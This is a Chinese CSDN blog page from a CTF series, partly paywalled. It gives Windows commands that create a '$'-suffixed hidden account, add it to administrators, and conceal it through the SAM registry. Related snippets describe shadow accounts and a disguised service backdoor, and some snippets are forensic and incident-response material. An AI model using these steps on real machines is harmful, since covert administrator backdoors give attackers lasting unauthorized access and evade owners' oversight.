创建隐藏用户(权限维持)

最新推荐文章于 2023-05-19 23:04:35 发布

鹏程万里.

最新推荐文章于 2023-05-19 23:04:35 发布

阅读量186

点赞数

分类专栏： ctf 文章标签： web安全网络安全安全服务器 windows

本文链接：https://blog.csdn.net/weixin_60397325/article/details/129910054

版权

ctf 专栏收录该内容

13 篇文章 0 订阅 ¥19.90 ¥99.00

订阅专栏

超级会员免费看

8.创建隐藏用户(深藏)

1. net user zmx$ 123 /add 		   	# 创建一个隐藏用户(隐藏用户用net user查看不到，但注销登录可见)
   net localgroup administrators zmx$ /add	# 把隐藏用户加入到管理员组

由于现在创建的用户并没有绝对隐藏，所以使用注册表来进行隐藏

2. win + r 输入 regedit 			   # 打开注册表,找到以下内容
    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names    #sma目录为空，改一下用户的权限

了解本专栏

订阅专栏解锁全文

超级会员免费看

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

鹏程万里.

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
创建隐藏用户(权限维持)

渗透成功之后，最简单的权限维持方法
复制链接

扫一扫

专栏目录

订阅专栏

隐藏用户的创建和使用

不忘初心，护天下安全！

07-01

937

在 windows 环境下创建用户如果后面带了一个"$"符号，在 net user 时默认是不显示的，下文基于这个特性展开新建一个隐藏账户并加入管理员组（需要管理员权限）如上图，查看用户时看不到新建的admin$用户。但是在控制面板的管理工具中的用户与用户组，仍可以查看到该用户的存在在注册表"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names"下可以找到新建的帐户"admin$"(默认注册表HKEY_LOCAL_MACHINE\SAM\SA

创建隐藏用户

shashengwandaren的博客

01-14

438

1.管理员权限运行cmd 一个比较简单的方式就是“用户名$” 指令 “net user 用户名$123 /add"这个指令就可以设置一个隐藏用户，然后我们再尝试将该用户提升成为管理员，指令为：”net user localgroup administrators 用户名 $ /add" 命令执行成功后我们可以输入"net user"查看一下发现的确没有刚刚我们创建的用户，说明我们创建成功但是这种方式在用户管理界面下是行不通的。在这里，用户暴露无遗。这时候我们就需要通过另一个东西来实现了。那就

参与评论您还未登录，请先登录后发表或查看评论

Windows Server 创建隐藏账户

qq_61861243的博客

10-05

2235

Windows Server 创建隐藏账户

windows建立隐藏账户

The current road is different, love needs to distinguish between right and wrong

11-18

4817

网络安全入门学习练手——windows创建隐藏用户

p36273的博客

05-19

5137

(例如使用D盾查杀)

利用安全描述符隐藏服务后门进行权限维持1

08-03

cmd 创建启动服务sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\

Window权限维持（四）：快捷方式修改1

08-03

【Windows快捷方式与权限维持】 Windows快捷方式，通常以.LNK文件扩展名存在，是操作系统中一种方便的机制，用于快速访问程序、文件或文件夹。由于它们在用户日常操作中的广泛使用，快捷方式也成为了恶意软件实现...

NetDLLSpy:.NET后渗透下的权限维持，附下载DLL

04-27

.NET下妙用DLL+处理映射实现后渗透权限维持Ivan@360云影实验室2018年07月18日0x01 前言...隐藏手段说明利用App_Code目录攻击者创建类文件并且在代码中写入一句话木马，在别处文件中实例化调用该类直接上传DLL攻击者本

php隐藏文件的真实下载地址的实例代码

12-02

总之，通过使用PHP隐藏文件的真实下载地址，我们可以增强网站资源的安全性，保护用户的隐私，同时维持对资源访问的控制。这个方法在许多网站上被广泛采用，特别是那些需要对文件访问进行严格管理的应用场景。

隐藏进程源代码

04-22

驱动级别的进程隐藏技术常被用于创建Rootkit，这是一种高级的系统渗透工具，它允许攻击者隐藏其活动，使得普通用户或者安全软件难以察觉。Rootkit能够对操作系统进行底层修改，包括隐藏文件、网络连接、进程甚至自身...

window下怎样创建隐藏帐户

luanshaofeng的程序人生

02-22

5442

当黑客入侵一台主机后，会想方设法保护自己的“劳动成果”，因此会在肉鸡上留下种种后门来长时间得控制肉鸡,其中使用最多的就是账户隐藏技术。在肉鸡上建立一个隐藏的账户，以备需要的时候使用。账户隐藏技术可谓是最隐蔽的后门，一般用户很难发现系统中隐藏账户的存在，因此危害性很大，本文就对隐藏账户这种黑客常用的技术进行揭密。　　　　在隐藏系统账户之前，我们有必要先来了解一下如何才能查看系统中已经存在的

创建超级隐藏用户

weixin_30802171的博客

05-30

487

1.先通过命令创建隐藏账户 net user test$ 123.com /add 在net user 发现看不到用户但是在用户组是可以看到的先把加入管理员组在禁用我们可以把用户命名成上面一样的用户名都是禁用状态可以迷惑管理员 2.复制admin权限打开注册表打开注册表编辑器，点击：HKEY_LOCAL_MACHINE → ...

学习进阶之路 #权限维持]P1、隐藏用户的创建与利用

ALLEN'Blog

03-15

241

导入成功后回到管理工具中的查看用户与用户组的页面，发现用户组和用户已经没有admin$这个用户的存在了，但实则上我们仍可以用这个用户的密码进行登录RDP，而且可以相当于。netsh 是 windows 的网络配置命令，advfirewall firewall 意思为防火墙的高级设置，add rule 是添加一条规则，name。发现用户未授权，这时候又多了一个利用条件，要在右下的选择用户下，添加admin$用户的用户名，才能正常登录3389。，在工具栏上的 **“编辑 > 权限” **中设置权限，将。

内网渗透-隐藏账号创建

cdyunaq的博客

02-17

712

前情提示在渗透Windows时当我们可以任意命令执行时就需要创建一个账号，然后再进行深入的渗透，为了保证渗透的隐蔽性和持久性，创建一个隐藏用户就是一个常用、基础且非常重要的技能。为什么不直接抓admin的密码呢？因为泽英之前对某目标做渗透时吃了次亏，在正常的使用MSF抓密码的过程中不知道对哪里造成了损害，导致目标的admin密码被销毁，然后就登录不上......当然，抓admin的密码并登录也是可以收获很多有用的东西的，说不定桌面就放了一份密码表，但这要在已经成功创建好一个隐...

【Windows取证】隐藏用户

南京信息工程大学数字取证中心的博客

12-06

5666

了解Windows隐藏账户的工作原理，有针对性地对隐藏账户进行应急处置。

[ 应急响应基础篇 ] Windows系统隐藏账户详解（Windows留后门账号）

qq_51577576的博客

04-10

2338

[ 应急响应基础篇 ] Windows系统隐藏账户详解（Windows留后门账号）

Windows权限维持--创建隐藏账户（影子账户）

qq_54735393的博客

11-03

3939

影子账户就是在windows中比较隐蔽的用户，一般在后渗透的权限维持阶段会用到。影子账户主要是利用在权限维持上，通过先建立带$符号的账户，然后利用注册表修改里面的值，使得管理员无法通过cmd及计算机管理等地方查看攻击者所创建的账户，从而实现权限维持。

Windows账户隐藏

浅时光-Trister

02-12

2659

1、新建特殊账户使用net user命令建立隐藏账户，并添加到管理员组。 2、赋予注册表权限找到注册表 [HKEY_LOCAL_MACHINE\SAM|SAM]，刚打开会发现什么也看不到，因为此时没有权限，右键选择权限，赋予完全控制的权限。然后刷新就可以看到其中的内容了。 3、导出注册表信息找到新建的那个账户，将两个注册表信息先导出。 4、删除特殊账户导出后，可以删除该账户。此时注册表已经看不到该账户的两个注册表信息。 5、导入注册表信息删除账户后，再将注册表信息导入。导入注册表后，

Linux下创建隐藏用户

“相关推荐”对你有帮助么？

非常没帮助
没帮助
一般
有帮助
非常有帮助

提交